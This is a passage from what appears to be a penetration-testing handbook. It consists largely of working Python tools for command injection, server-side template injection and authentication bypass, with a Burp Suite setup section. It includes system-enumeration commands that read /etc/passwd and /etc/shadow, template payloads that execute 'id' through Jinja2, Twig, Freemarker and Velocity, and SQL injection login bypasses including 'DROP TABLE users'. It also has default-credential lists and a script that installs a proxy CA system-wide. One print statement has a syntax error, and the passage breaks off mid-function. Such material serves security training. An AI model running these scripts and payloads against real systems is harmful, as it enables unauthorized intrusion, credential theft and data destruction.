{\n                'error': str(e)\n            }\n    \n    def get_normal_request(self):\n        \"\"\"Get a normal (non-malicious) request for baseline\"\"\"\n        return \"test\"\n    \n    def analyze_response(self, response, payload, baseline):\n        \"\"\"Analyze response for command injection indicators\"\"\"\n        \n        indicators = []\n        \n        if 'error' in response:\n            return indicators\n            \n        # Check for time-based injection\n        if 'sleep' in payload or 'ping' in payload:\n            if response.get('response_time', 0) &gt; 5:\n                indicators.append('time_delay')\n                \n        # Check for command output in response\n        command_output_patterns = [\n            'root:',  # /etc/passwd\n            'uid=',   # id command\n            'gid=',\n            'groups=',\n            'bin/bash',\n            'Linux',\n            'Windows',\n            'Directory of',\n            '[fonts]',  # win.ini\n            'Volume in drive',\n            'Load Average',\n            'up time',\n            'users logged'\n        ]\n        \n        if payload in response.get('text', ''):\n            # Payload reflected - potential injection point\n            indicators.append('payload_reflected')\n            \n        # Check for specific command outputs\n        response_text = response.get('text', '')\n        for pattern in command_output_patterns:\n            if pattern in response_text:\n                indicators.append('command_output')\n                break\n                \n        # Check for error messages that might indicate command execution\n        error_patterns = [\n            'not found',\n            'command not found',\n            'is not recognized',\n            'No such file',\n            'Permission denied',\n            'cannot execute',\n            'failed to execute'\n        ]\n        \n        for pattern in error_patterns:\n            if pattern.lower() in response_text.lower():\n                indicators.append('error_message')\n                break\n                \n        # Check for unexpected status codes\n        if response.get('status_code', 0) != baseline.get('status_code', 200):\n            if abs(response.get('status_code', 0) - baseline.get('status_code', 200)) &gt; 0:\n                indicators.append('status_code_change')\n                \n        # Check for unexpected response size\n        baseline_length = len(baseline.get('text', ''))\n        response_length = len(response_text)\n        \n        if abs(response_length - baseline_length) &gt; 500:\n            indicators.append('response_size_change')\n            \n        return indicators\n    \n    def test_blind_injection(self, payloads):\n        \"\"\"Test for blind command injection using out-of-band techniques\"\"\"\n        \n        # This would require a listener or DNS server\n        # Simplified version using time delays\n        \n        results = []\n        \n        for payload in payloads['time_based']:\n            response = self.make_request(payload)\n            \n            if response and response.get('response_time', 0) &gt; 5:\n                results.append({\n                    'payload': payload,\n                    'delay': response.get('response_time', 0)\n                })\n                \n        return results\n    \n    def enumerate_system(self, confirmed_payload):\n        \"\"\"Attempt to enumerate system after confirming injection\"\"\"\n        \n        commands = {\n            'linux': [\n                'id',\n                'uname -a',\n                'cat /etc/passwd',\n                'cat /etc/issue',\n                'ifconfig',\n                'netstat -an',\n                'ps aux',\n                'env',\n                'pwd',\n                'ls -la',\n                'whoami',\n                'hostname',\n                'cat /etc/shadow 2&gt;/dev/null || echo \"Cannot read shadow\"'\n            ],\n            'windows': [\n                'whoami',\n                'ipconfig /all',\n                'systeminfo',\n                'dir C:\\\\',\n                'type C:\\\\Windows\\\\win.ini',\n                'net user',\n                'netstat -an',\n                'tasklist',\n                'set',\n                'echo %cd%',\n                'hostname'\n            ]\n        }\n        \n        results = {}\n        \n        # Try to determine OS first\n        os_check = self.execute_command(confirmed_payload, 'uname -a || ver')\n        \n        if 'Linux' in os_check or 'Unix' in os_check:\n            os_type = 'linux'\n        else:\n            os_type = 'windows'\n            \n        print(f\"[*] Detected OS: {os_type}\")\n        \n        for cmd in commands[os_type]:\n            print(f\"[*] Executing: {cmd}\")\n            output = self.execute_command(confirmed_payload, cmd)\n            results[cmd] = output\n            \n        return results\n    \n    def execute_command(self, base_payload, command):\n        \"\"\"Execute a command using the injection point\"\"\"\n        \n        # Construct payload based on base pattern\n        if ';' in base_payload:\n            payload = f\"; {command}\"\n        elif '|' in base_payload:\n            payload = f\"| {command}\"\n        elif '&amp;' in base_payload:\n            payload = f\"&amp; {command}\"\n        elif '`' in base_payload:\n            payload = f\"`{command}`\"\n        elif '$(' in base_payload:\n            payload = f\"$({command})\"\n        else:\n            payload = f\"; {command}\"\n            \n        response = self.make_request(payload)\n        \n        if response and response.get('text'):\n            return response['text'][:1000]  # Return first 1000 chars\n        else:\n            return \"No output received\"\n\n# Example usage\ntester = CommandInjectionTester('https://example.com/ping', 'host')\n\n# Generate payloads\npayloads = tester.generate_payloads()\n\n# Test for injection\nprint(\"[*] Testing for command injection...\")\nresults = tester.test_injection(payloads)\n\nif tester.vulnerabilities:\n    print(f\"\\n[!] Found {len(tester.vulnerabilities)} potential command injection vulnerabilities:\")\n    for vuln in tester.vulnerabilities:\n        print(f\"  - {vuln['type']}: {vuln['payload']}\")\n        \n    # If confirmed, attempt enumeration\n    confirmed_payload = tester.vulnerabilities[0]['payload']\n    print(\"\\n[*] Attempting system enumeration...\")\n    system_info = tester.enumerate_system(confirmed_payload)\n    print(json.dumps(system_info, indent=2))\n```\n\n### 13.8 Template Injection\n\nServer-Side Template Injection (SSTI) occurs when user input is embedded in templates without proper sanitization.\n\n#### 13.8.1 Template Injection Detection\n\n```python\n#!/usr/bin/env python3\n# template_injection_tester.py\n\nimport requests\nimport re\n\nclass TemplateInjectionTester:\n    def __init__(self, target_url, param_name, method='GET'):\n        self.target_url = target_url\n        self.param_name = param_name\n        self.method = method\n        self.vulnerabilities = []\n        \n    def generate_payloads(self):\n        \"\"\"Generate template injection payloads by engine\"\"\"\n        \n        return {\n            'detection': [\n                '{{7*7}}',\n                '${7*7}',\n                '{{7*\\'7\\'}}',\n                '&lt;%= 7*7 %&gt;',\n                '${{7*7}}',\n                '{{7*7}}',\n                '{{7*7}}',\n                '*{7*7}',\n                '#{7*7}',\n                '{{config}}',\n                '{{self.__class__.__mro__}}',\n                '{{7*7}}',\n                '{{7*7}}',\n                '{7*7}',\n                '{{7*7}}'\n            ],\n            'jinja2': [\n                '{{7*7}}',\n                '{{7*\\'7\\'}}',\n                '{{config}}',\n                '{{self.__class__.__mro__}}',\n                '{{self.__class__.__mro__[2].__subclasses__()}}',\n                '{{''.__class__.__mro__[2].__subclasses__()}}',\n                '{{config.items()}}',\n                '{{request.application.__globals__.__builtins__.__import__(\\'os\\').popen(\\'id\\').read()}}',\n                '{{url_for.__globals__.os.popen(\\'id\\').read()}}',\n                '{{get_flashed_messages.__globals__.os.popen(\\'id\\').read()}}'\n            ],\n            'twig': [\n                '{{7*7}}',\n                '{{7*\\'7\\'}}',\n                '{{_self.env.registerUndefinedFilterCallback(\"exec\")}}',\n                '{{_self.env.getFilter(\"cat /etc/passwd\")}}',\n                '{{_self.env.registerUndefinedFilterCallback(\"system\")}}',\n                '{{_self.env.getFilter(\"id;uname -a\")}}'\n            ],\n            'freemarker': [\n                '${7*7}',\n                '${7*7}',\n                '&lt;#assign ex=\"freemarker.template.utility.Execute\"?new()&gt;${ex(\"id\")}',\n                '${\"freemarker.template.utility.Execute\"?new()(\"id\")}'\n            ],\n            'velocity': [\n                '#set($x=7*7)$x',\n                '#set($c=$x.class.forName(\"java.lang.Runtime\"))',\n                '#set($rt=$c.getRuntime())',\n                '$rt.exec(\"id\")'\n            ],\n            'smarty': [\n                '{$smarty.version}',\n                '{php}echo \"test\";{/php}',\n                '{if phpinfo()}{/if}',\n                '{system(\\'id\\')}'\n            ],\n            'handlebars': [\n                '{{7*7}}',\n                '{{#with \"s\" as |string|}}',\n                '{{#with \"s\"}}',\n                '{{#with \"constructor\"}}',\n                '{{#with (split)}}'\n            ],\n            'mustache': [\n                '{{7*7}}',\n                '{{{7*7}}}',\n                '{{&amp;7*7}}'\n            ]\n        }\n    \n    def test_injection(self, payloads):\n        \"\"\"Test for template injection vulnerabilities\"\"\"\n        \n        results = []\n        \n        # First, test detection payloads\n        detection_payloads = payloads['detection']\n        \n        for payload in detection_payloads:\n            response = self.make_request(payload)\n            \n            if response:\n                # Check if payload evaluated\n                if self.check_evaluation(response, payload):\n                    results.append({\n                        'type': 'detected',\n                        'payload': payload,\n                        'status_code': response.get('status_code'),\n                        'engine': self.identify_engine(response, payloads)\n                    })\n                    \n                    self.vulnerabilities.append({\n                        'type': 'Template Injection Detected',\n                        'payload': payload,\n                        'response': response.get('text', '')[:200]\n                    })\n                    \n        # If detection successful, try engine-specific payloads\n        if results:\n            engine = results[0].get('engine', 'unknown')\n            \n            if engine and engine in payloads:\n                engine_payloads = payloads[engine]\n                \n                for payload in engine_payloads:\n                    response = self.make_request(payload)\n                    \n                    if response and self.check_execution(response, payload):\n                        results.append({\n                            'type': 'exploitation',\n                            'engine': engine,\n                            'payload': payload,\n                            'status_code': response.get('status_code')\n                        })\n                        \n                        self.vulnerabilities.append({\n                            'type': f'Template Injection Exploitation ({engine})',\n                            'payload': payload,\n                            'output': self.extract_output(response, payload)\n                        })\n                        \n        return results\n    \n    def make_request(self, payload):\n        \"\"\"Make HTTP request with payload\"\"\"\n        \n        import urllib.parse\n        \n        try:\n            if self.method.upper() == 'GET':\n                url = f\"{self.target_url}?{self.param_name}={urllib.parse.quote(payload)}\"\n                response = requests.get(url, timeout=5)\n            else:\n                data = {self.param_name: payload}\n                response = requests.post(self.target_url, data=data, timeout=5)\n                \n            return {\n                'status_code': response.status_code,\n                'text': response.text,\n                'headers': dict(response.headers),\n                'url': response.url\n            }\n            \n        except Exception as e:\n            return None\n    \n    def check_evaluation(self, response, payload):\n        \"\"\"Check if template was evaluated\"\"\"\n        \n        # If payload appears exactly as sent, it wasn't evaluated\n        if payload in response.get('text', ''):\n            # But if it's 49 (7*7) instead of {{7*7}}, it was evaluated\n            if '{{7*7}}' in payload and '49' in response.get('text', ''):\n                return True\n            elif '${7*7}' in payload and '49' in response.get('text', ''):\n                return True\n            else:\n                return False\n        else:\n            # Payload not in response - might have been evaluated\n            return True\n    \n    def identify_engine(self, response, payloads):\n        \"\"\"Attempt to identify template engine\"\"\"\n        \n        response_text = response.get('text', '')\n        \n        # Check for 49 (7*7 evaluation)\n        if '49' in response_text:\n            # Could be any engine that evaluates math\n            \n            # Try engine-specific indicators\n            for engine, engine_payloads in payloads.items():\n                if engine == 'detection':\n                    continue\n                    \n                for payload in engine_payloads[:3]:  # Check first few\n                    test_response = self.make_request(payload)\n                    if test_response and self.check_execution(test_response, payload):\n                        return engine\n                        \n        # Check for specific error messages\n        error_indicators = {\n            'jinja2': ['jinja2', 'UndefinedError', 'TemplateSyntaxError'],\n            'twig': ['Twig', 'Twig_Error'],\n            'smarty': ['Smarty', 'smarty error'],\n            'freemarker': ['FreeMarker', 'freemarker'],\n            'velocity': ['Velocity', 'org.apache.velocity']\n        }\n        \n        for engine, indicators in error_indicators.items():\n            for indicator in indicators:\n                if indicator.lower() in response_text.lower():\n                    return engine\n                    \n        return 'unknown'\n    \n    def check_execution(self, response, payload):\n        \"\"\"Check if payload resulted in command execution\"\"\"\n        \n        response_text = response.get('text', '')\n        \n        # Check for command output indicators\n        indicators = [\n            'uid=', 'gid=', 'root:', 'bin/bash', 'Linux',\n            'Directory of', 'Volume in drive', 'Microsoft Windows',\n            'Load Average', 'up time', 'users logged'\n        ]\n        \n        for indicator in indicators:\n            if indicator in response_text:\n                return True\n                \n        return False\n    \n    def extract_output(self, response, payload):\n        \"\"\"Extract command output from response\"\"\"\n        \n        response_text = response.get('text', '')\n        \n        # Try to find output between markers or just return clean response\n        if 'START_TOKEN' in payload and 'END_TOKEN' in payload:\n            # Extract between tokens\n            pattern = r'START_TOKEN(.*?)END_TOKEN'\n            match = re.search(pattern, response_text, re.DOTALL)\n            if match:\n                return match.group(1).strip()\n                \n        return response_text[:500]  # Return first 500 chars\n    \n    def generate_report(self):\n        \"\"\"Generate template injection report\"\"\"\n        \n        report = {\n            'total_vulnerabilities': len(self.vulnerabilities),\n            'vulnerabilities': self.vulnerabilities,\n            'recommendations': [\n                \"Avoid user input in templates\",\n                \"Use sandboxed template engines\",\n                \"Implement strict input validation\",\n                \"Disable dangerous template features\",\n                \"Keep template engines updated\",\n                \"Use context-aware escaping\",\n                \"Implement content security policy\"\n            ]\n        }\n        \n        return report\n\n# Example usage\ntester = TemplateInjectionTester('https://example.com/profile', 'name')\n\npayloads = tester.generate_payloads()\nresults = tester.test_injection(payloads)\n\nif results:\n    print(f\"\\n[!] Template injection detected!\")\n    for result in results:\n        print(f\"  - {result['type']}: {result.get('engine', 'unknown')} - {result['payload']}\")\n        \n    report = tester.generate_report()\n    print(json.dumps(report, indent=2))\n```\n\n### 13.9 Authentication Bypass\n\nAuthentication bypass vulnerabilities allow attackers to circumvent login mechanisms and gain unauthorized access.\n\n#### 13.9.1 Authentication Bypass Techniques\n\n```python\n#!/usr/bin/env python3\n# auth_bypass_comprehensive.py\n\nimport requests\nimport hashlib\nimport base64\nimport urllib.parse\nfrom bs4 import BeautifulSoup\n\nclass AuthenticationBypassTester:\n    def __init__(self, login_url, username_field='username', password_field='password'):\n        self.login_url = login_url\n        self.username_field = username_field\n        self.password_field = password_field\n        self.session = requests.Session()\n        self.vulnerabilities = []\n        \n    def test_sql_injection_auth_bypass(self):\n        \"\"\"Test SQL injection in login form\"\"\"\n        \n        payloads = [\n            # Basic bypass\n            (\"' OR '1'='1\", \"' OR '1'='1\"),\n            (\"admin'--\", \"anything\"),\n            (\"admin' #\", \"anything\"),\n            (\"' OR 1=1--\", \"anything\"),\n            (\"' OR 1=1#\", \"anything\"),\n            (\"' OR '1'='1'--\", \"anything\"),\n            (\"' OR '1'='1'#\", \"anything\"),\n            \n            # UNION-based\n            (\"' UNION SELECT 1,1,'admin','password'--\", \"anything\"),\n            \n            # Comment variations\n            (\"admin'/*\", \"anything\"),\n            (\"admin';--\", \"anything\"),\n            (\"admin' OR 1=1 LIMIT 1--\", \"anything\"),\n            (\"admin' OR 1=1 LIMIT 1#\", \"anything\"),\n            \n            # Multiple quotes\n            (\"'' OR '1'='1\", \"'' OR '1'='1\"),\n            (\"''''''''' OR '1'='1\", \"anything\"),\n            \n            # Time-based (blind)\n            (\"' OR SLEEP(5)--\", \"anything\"),\n            (\"'; WAITFOR DELAY '0:0:5'--\", \"anything\"),\n            \n            # Stacked queries\n            (\"admin'; DROP TABLE users--\", \"anything\"),\n            \n            # Alternative syntax\n            (\"\\\" OR \\\"1\\\"=\\\"1\", \"\\\" OR \\\"1\\\"=\\\"1\"),\n            (\"\\\" OR 1=1--\", \"anything\"),\n            (\"\\\" OR 1=1#\", \"anything\"),\n            \n            # Boolean-based\n            (\"' AND 1=1 UNION SELECT 1, 'admin', 'password'--\", \"anything\"),\n            \n            # Error-based\n            (\"' AND 1=CONVERT(int, @@version)--\", \"anything\"),\n            \n            # Blind boolean\n            (\"' AND '1'='1\", \"' AND '1'='1\"),\n            (\"' AND '1'='2\", \"' AND '1'='2\")\n        ]\n        \n        results = []\n        \n        for username, password in payloads:\n            data = {\n                self.username_field: username,\n                self.password_field: password\n            }\n            \n            try:\n                response = self.session.post(self.login_url, data=data, allow_redirects=False)\n                \n                # Check if login successful\n                if self.is_login_successful(response):\n                    results.append({\n                        'technique': 'SQL Injection',\n                        'username': username,\n                        'password': password,\n                        'status_code': response.status_code\n                    })\n                    \n                    self.vulnerabilities.append({\n                        'type': 'SQL Injection Auth Bypass',\n                        'payload': f\"{username}:{password}\"\n                    })\n            except Exception as e:\n                print(f\"Error: {e}\")\n                \n        return results\n    \n    def test_default_credentials(self):\n        \"\"\"Test common default credentials\"\"\"\n        \n        defaults = [\n            # Common combinations\n            ('admin', 'admin'),\n            ('admin', 'password'),\n            ('admin', '123456'),\n            ('administrator', 'administrator'),\n            ('root', 'root'),\n            ('root', 'toor'),\n            ('user', 'user'),\n            ('test', 'test'),\n            ('guest', 'guest'),\n            ('demo', 'demo'),\n            \n            # Empty passwords\n            ('admin', ''),\n            ('administrator', ''),\n            ('root', ''),\n            \n            # Common service defaults\n            ('tomcat', 'tomcat'),\n            ('jenkins', 'jenkins'),\n            ('postgres', 'postgres'),\n            ('mysql', 'mysql'),\n            ('oracle', 'oracle'),\n            ('weblogic', 'weblogic'),\n            ('jboss', 'jboss'),\n            ('glassfish', 'glassfish'),\n            \n            # Device defaults\n            ('cisco', 'cisco'),\n            ('cisco', 'password'),\n            ('netgear', 'password'),\n            ('linksys', 'admin'),\n            ('dlink', 'admin'),\n            ('ubnt', 'ubnt'),\n            \n            # Application defaults\n            ('wpadmin', 'wpadmin'),\n            ('wordpress', 'wordpress'),\n            ('joomla', 'joomla'),\n            ('drupal', 'drupal'),\n            ('magento', 'magento'),\n            \n            # Numeric patterns\n            ('admin', '12345'),\n            ('admin', '12345678'),\n            ('admin', '111111'),\n            ('admin', '000000'),\n            \n            # Common words\n            ('admin', 'qwerty'),\n            ('admin', 'abc123'),\n            ('admin', 'password123'),\n            ('admin', 'letmein'),\n            ('admin', 'welcome'),\n            ('admin', 'monkey'),\n            ('admin', 'dragon')\n        ]\n        \n        results = []\n        \n        for username, password in defaults:\n            data = {\n                self.username_field: username,\n                self.password_field: password\n            }\n            \n            try:\n                response = self.session.post(self.login_url, data=data, allow_redirects=False)\n                \n                if self.is_login_successful(response):\n                    results.append({\n                        'technique': 'Default Credentials',\n                        'username': username,\n                        'password': password,\n                        'status_code': response.status_code\n                    })\n                    \n                    self.vulnerabilities.append({\n                        'type': 'Default Credentials',\n                        'credentials': f\"{username}:{password}\"\n                    })\n            except:\n                pass\n                \n        return results\n    \n    def test_weak_password_policy(self):\n        \"\"\"Test for weak password policy\"\"\"\n        \n        weak_passwords = [\n            '123456', 'password', '12345678', 'qwerty', 'abc123',\n            '123456789', '111111', '1234567', 'iloveyou', 'adobe123',\n            '123123', 'admin', '1234567890', 'letmein', 'photoshop',\n            '1234', 'monkey', 'shadow', 'sunshine', '12345',\n            'password1', 'princess', 'azerty', 'trustno1', '000000'\n        ]\n        \n        results = []\n        \n        # Create a test account first (in a real test, you'd register first)\n        # Here we're just testing if the server accepts weak passwords\n        \n        for password in weak_passwords:\n            # This would test password change functionality\n            # Simplified version\n            pass\n            \n        return results\n    \n    def test_parameter_tampering(self):\n        \"\"\"Test parameter tampering in authentication\"\"\"\n        \n        tampering_tests = [\n            # Modify parameter names\n            {'username': 'admin', 'password': 'anything', 'admin': 'true'},\n            {'username': 'admin', 'password': 'anything', 'is_admin': '1'},\n            {'username': 'admin', 'password': 'anything', 'role': 'admin'},\n            {'username': 'admin', 'password': 'anything', 'user_type': 'administrator'},\n            {'username': 'admin', 'password': 'anything', 'authenticated': 'true'},\n            \n            # Add unexpected parameters\n            {'username': 'admin', 'password': 'anything', 'debug': 'true'},\n            {'username': 'admin', 'password': 'anything', 'test': 'true'},\n            \n            # Parameter pollution\n            {'username': ['admin', 'admin'], 'password': 'anything'},\n            {'username': 'admin', 'password': ['anything', 'anything']},\n            \n            # Remove parameters\n            {'username': 'admin'},  # No password\n            {'password': 'anything'},  # No username\n            \n            # Empty values\n            {'username': '', 'password': ''},\n            {'username': 'admin', 'password': ''},\n            {'username': '', 'password': 'anything'},\n            \n            # Whitespace\n            {'username': ' admin ', 'password': ' anything '},\n            {'username': 'admin', 'password': 'anything', 'token': ' '}\n        ]\n        \n        results = []\n        \n        for test_data in tampering_tests:\n            try:\n                response = self.session.post(self.login_url, data=test_data, allow_redirects=False)\n                \n                if self.is_login_successful(response):\n                    results.append({\n                        'technique': 'Parameter Tampering',\n                        'data': test_data,\n                        'status_code': response.status_code\n                    })\n                    \n                    self.vulnerabilities.append({\n                        'type': 'Parameter Tampering',\n                        'data': str(test_data)\n                    })\n            except:\n                pass\n                \n        return results\n    \n    def test_http_method_tampering(self):\n        \"\"\"Test HTTP method tampering\"\"\"\n        \n        methods = ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']\n        results = []\n        \n        base_data = {\n            self.username_field: 'admin',\n            self.password_field: 'anything'\n        }\n        \n        for method in methods:\n            try:\n                if method == 'GET':\n                    response = self.session.get(self.login_url, params=base_data, allow_redirects=False)\n                elif method == 'POST':\n                    response = self.session.post(self.login_url, data=base_data, allow_redirects=False)\n                elif method == 'PUT':\n                    response = self.session.put(self.login_url, data=base_data, allow_redirects=False)\n                elif method == 'PATCH':\n                    response = self.session.patch(self.login_url, data=base_data, allow_redirects=False)\n                elif method == 'DELETE':\n                    response = self.session.delete(self.login_url, data=base_data, allow_redirects=False)\n                elif method == 'HEAD':\n                    response = self.session.head(self.login_url, params=base_data)\n                elif method == 'OPTIONS':\n                    response = self.session.options(self.login_url)\n                    \n                if method in ['HEAD', 'OPTIONS']:\n                    continue\n                    \n                if self.is_login_successful(response):\n                    results.append({\n                        'technique': 'HTTP Method Tampering',\n                        'method': method,\n                        'status_code': response.status_code\n                    })\n                    \n                    self.vulnerabilities.append({\n                        'type': 'HTTP Method Tampering',\n                        'method': method\n                    })\n            except:\n                pass\n                \n        return results\n    \n    def test_session_cookie_weakness(self):\n        \"\"\"Test for weak session cookie generation\"\"\"\n        \n        # First, login normally\n        data = {\n            self.username_field: 'test_user',\n            self.password_field: 'test_pass'\n        }\n        \n        response = self.session.post(self.login_url, data=data)\n        \n        # Collect session cookies\n        cookies = self.session.cookies.get_dict()\n        \n        results = {}\n        \n        for name, value in cookies.items():\n            results[name] = {\n                'value': value,\n                'length': len(value),\n                'entropy': self.calculate_entropy(value)\n            }\n            \n            # Check for weak patterns\n            if value.isdigit():\n                self.vulnerabilities.append({\n                    'type': 'Weak Session Cookie',\n                    'cookie': name,\n                    'issue': 'Numeric session ID'\n                })\n            elif len(value) &lt; 16:\n                self.vulnerabilities.append({\n                    'type': 'Weak Session Cookie',\n                    'cookie': name,\n                    'issue': 'Short session ID'\n                })\n            elif value in ['1', '0', 'true', 'false', 'admin']:\n                self.vulnerabilities.append({\n                    'type': 'Weak Session Cookie',\n                    'cookie': name,\n                    'issue': 'Predictable session value'\n                })\n                \n        return results\n    \n    def calculate_entropy(self, value):\n        \"\"\"Calculate simple entropy of cookie value\"\"\"\n        \n        import math\n        \n        # Count character frequencies\n        freq = {}\n        for c in value:\n            freq[c] = freq.get(c, 0) + 1\n            \n        # Calculate entropy\n        entropy = 0\n        length = len(value)\n        for count in freq.values():\n            probability = count / length\n            entropy -= probability * math.log2(probability)\n            \n        return round(entropy, 2)\n    \n    def test_remember_me_functionality(self):\n        \"\"\"Test remember me functionality security\"\"\"\n        \n        data = {\n            self.username_field: 'test_user',\n            self.password_field: 'test_pass',\n            'remember': 'on'\n        }\n        \n        response = self.session.post(self.login_url, data=data)\n        \n        # Check if persistent cookie is set\n        cookies = self.session.cookies.get_dict()\n        \n        remember_cookies = []\n        for name, value in cookies.items():\n            if 'remember' in name.lower() or 'persist' in name.lower():\n                remember_cookies.append({'name': name, 'value': value})\n                \n                # Test for weak persistence token\n                if len(value) &lt; 32:\n                    self.vulnerabilities.append({\n                        'type': 'Weak Remember Me Token',\n                        'cookie': name,\n                        'length': len(value)\n                    })\n                    \n        return remember_cookies\n    \n    def test_2fa_bypass(self):\n        \"\"\"Test for 2FA bypass techniques\"\"\"\n        \n        bypass_techniques = [\n            # OTP in response\n            ('response_contains_otp', None),\n            \n            # OTP reuse\n            ('reuse_otp', None),\n            \n            # OTP brute force\n            ('brute_force_otp', range(0, 1000000, 10000)),  # Sample every 10000\n            \n            # Backup code abuse\n            ('backup_codes', None),\n            \n            # OAuth bypass\n            ('oauth_bypass', '&amp;prompt=none'),\n            \n            # Session manipulation\n            ('session_bypass', None)\n        ]\n        \n        results = []\n        \n        # This would require a multi-step process\n        # Simplified for demonstration\n        \n        return results\n    \n    def is_login_successful(self, response):\n        \"\"\"Determine if login was successful\"\"\"\n        \n        # Check for redirect after login\n        if response.status_code in [301, 302, 303, 307, 308]:\n            location = response.headers.get('Location', '')\n            if 'dashboard' in location or 'home' in location or 'profile' in location:\n                return True\n                \n        # Check response content for success indicators\n        success_indicators = [\n            'welcome', 'dashboard', 'logout', 'profile',\n            'login successful', 'authenticated', 'logged in'\n        ]\n        \n        response_text = response.text.lower()\n        for indicator in success_indicators:\n            if indicator in response_text:\n                return True\n                \n        # Check for absence of login form\n        if 'login' not in response_text and 'sign in' not in response_text:\n            if response.status_code == 200:\n                return True\n                \n        return False\n    \n    def generate_report(self):\n        \"\"\"Generate authentication bypass report\"\"\"\n        \n        report = {\n            'total_vulnerabilities': len(self.vulnerabilities),\n            'vulnerabilities': self.vulnerabilities,\n            'recommendations': [\n                \"Implement strong password policies\",\n                \"Use multi-factor authentication\",\n                \"Rate limit login attempts\",\n                \"Implement account lockout\",\n                \"Use secure session management\",\n                \"Validate all input server-side\",\n                \"Use parameterized queries\",\n                \"Implement CSRF tokens\",\n                \"Use HTTPS everywhere\",\n                \"Regular security audits\"\n            ]\n        }\n        \n        return report\n\n# Example usage\ntester = AuthenticationBypassTester('https://example.com/login')\n\nprint(\"[*] Testing SQL injection auth bypass...\")\nsql_results = tester.test_sql_injection_auth_bypass()\n\nprint(\"[*] Testing default credentials...\")\ndefault_results = tester.test_default_credentials()\n\nprint(\"[*] Testing parameter tampering...)\nparam_results = tester.test_parameter_tampering()\n\nprint(\"[*] Testing HTTP method tampering...\")\nmethod_results = tester.test_http_method_tampering()\n\nprint(\"[*] Testing session cookie strength...\")\ncookie_results = tester.test_session_cookie_weakness()\n\nif tester.vulnerabilities:\n    print(f\"\\n[!] Found {len(tester.vulnerabilities)} authentication vulnerabilities:\")\n    for vuln in tester.vulnerabilities:\n        print(f\"  - {vuln['type']}: {vuln.get('credentials', vuln.get('issue', ''))}\")\n        \n    report = tester.generate_report()\n    print(json.dumps(report, indent=2))\n```\n\n---\n\n## Chapter 14 \u2014 Web Exploitation Tools\n\nThis chapter covers the essential tools for web application security testing, from intercepting proxies to specialized vulnerability scanners.\n\n### 14.1 Burp Suite\n\nBurp Suite is the industry standard for web application security testing, providing a comprehensive platform for manual and automated testing.\n\n#### 14.1.1 Burp Suite Architecture and Setup\n\nBurp Suite consists of multiple integrated tools that work together to support the entire testing process:\n\n**Core Components**:\n- **Proxy**: Intercepts HTTP/HTTPS traffic between browser and target\n- **Spider**: Crawls web applications to discover content\n- **Scanner**: Automated vulnerability scanner (Pro version)\n- **Intruder**: Powerful tool for automated customized attacks\n- **Repeater**: Manual request manipulation and replay\n- **Sequencer**: Analyzes session token randomness\n- **Decoder**: Transforms encoded data\n- **Comparer**: Performs visual comparisons of data\n- **Extender**: Allows custom extensions and plugins\n\n**Installation and Configuration**:\n\n```bash\n# Download Burp Suite from PortSwigger\n# Community edition is free and sufficient for learning\n\n# Java requirement\napt install openjdk-11-jre\n\n# Run Burp Suite\njava -jar burpsuite_community.jar\n\n# Alternative: Use Kali's package\napt install burpsuite\n```\n\n**Browser Configuration**:\n\n```python\n#!/usr/bin/env python3\n# burp_config.py\n\nimport subprocess\nimport os\nimport json\n\nclass BurpConfigurator:\n    def __init__(self):\n        self.burp_host = '127.0.0.1'\n        self.burp_port = 8080\n        \n    def configure_firefox(self, profile_path=None):\n        \"\"\"Configure Firefox to use Burp proxy\"\"\"\n        \n        if not profile_path:\n            # Find Firefox profile\n            firefox_profiles = os.path.expanduser('~/.mozilla/firefox/*.default*')\n            import glob\n            profiles = glob.glob(firefox_profiles)\n            if profiles:\n                profile_path = profiles[0]\n                \n        if profile_path:\n            # Create prefs.js with proxy settings\n            prefs_file = os.path.join(profile_path, 'prefs.js')\n            \n            with open(prefs_file, 'a') as f:\n                f.write(f'''\nuser_pref(\"network.proxy.http\", \"{self.burp_host}\");\nuser_pref(\"network.proxy.http_port\", {self.burp_port});\nuser_pref(\"network.proxy.ssl\", \"{self.burp_host}\");\nuser_pref(\"network.proxy.ssl_port\", {self.burp_port});\nuser_pref(\"network.proxy.type\", 1);\nuser_pref(\"network.proxy.no_proxies_on\", \"\");\nuser_pref(\"security.enterprise_roots.enabled\", true);\n''')\n            print(f\"[+] Firefox configured to use Burp proxy at {self.burp_host}:{self.burp_port}\")\n            \n    def configure_chrome(self):\n        \"\"\"Launch Chrome with Burp proxy\"\"\"\n        \n        chrome_cmd = [\n            'google-chrome',\n            f'--proxy-server=http://{self.burp_host}:{self.burp_port}',\n            '--ignore-certificate-errors',\n            '--user-data-dir=/tmp/chrome-burp'\n        ]\n        \n        print(f\"[+] Launching Chrome with proxy configuration\")\n        subprocess.Popen(chrome_cmd)\n        \n    def install_certificate(self, cert_path=None):\n        \"\"\"Install Burp certificate in browser\"\"\"\n        \n        if not cert_path:\n            # Download certificate from Burp\n            import requests\n            cert_url = f'http://{self.burp_host}:{self.burp_port}/cert'\n            response = requests.get(cert_url)\n            \n            if response.status_code == 200:\n                cert_path = '/tmp/burp.der'\n                with open(cert_path, 'wb') as f:\n                    f.write(response.content)\n                    \n        # Install certificate (platform-specific)\n        if os.path.exists(cert_path):\n            if os.name == 'posix':\n                # Linux - import to system trust store\n                subprocess.run(['sudo', 'cp', cert_path, '/usr/local/share/ca-certificates/burp.crt'])\n                subprocess.run(['sudo', 'update-ca-certificates'])\n                print(\"[+] Burp certificate installed system-wide\")\n            else:\n                print(f\"[*] Install certificate manually from {cert_path}\")\n\n# Example usage\nconfig = BurpConfigurator()\nconfig.configure_firefox()\nconfig.configure_chrome()\nconfig.install_certificate()\n```\n\n#### 14.1.2 Burp Suite Workflow\n\n**Basic Testing Workflow**:\n\n```python\n#!/usr/bin/env python3\n# burp_workflow.py\n\nclass BurpWorkflow:\n    def __init__(self):\n        self.target_scope = []\n        self.issues = []\n        \n    def define_scope(self, target_urls):\n        \"\"\"Define target scope in Burp\"\"\"\n        \n        for url in target_urls:\n            self.target_scope.append({\n                'url': url,\n                'in_scope': True,\n                'include_subdomains': True\n            })\n            \n        print(f\"[+] Defined scope with {len(self.target_scope)} targets\")\n        return self.target_scope\n    \n    def passive_scan_phase(self):\n        \"\"\"Passive scanning phase - just browse the application\"\"\"\n        \n        steps = [\n            \"1. Configure browser proxy to Burp\",\n            \"2. Browse the application normally\",\n            \"3. Click all links and submit all forms\",\n            \"4. Test different user roles if applicable\",\n            \"5. Check all functionality while Burp captures traffic\",\n            \"6. Review Site Map for discovered content\",\n            \"7. Note interesting parameters and endpoints\"\n        ]\n        \n        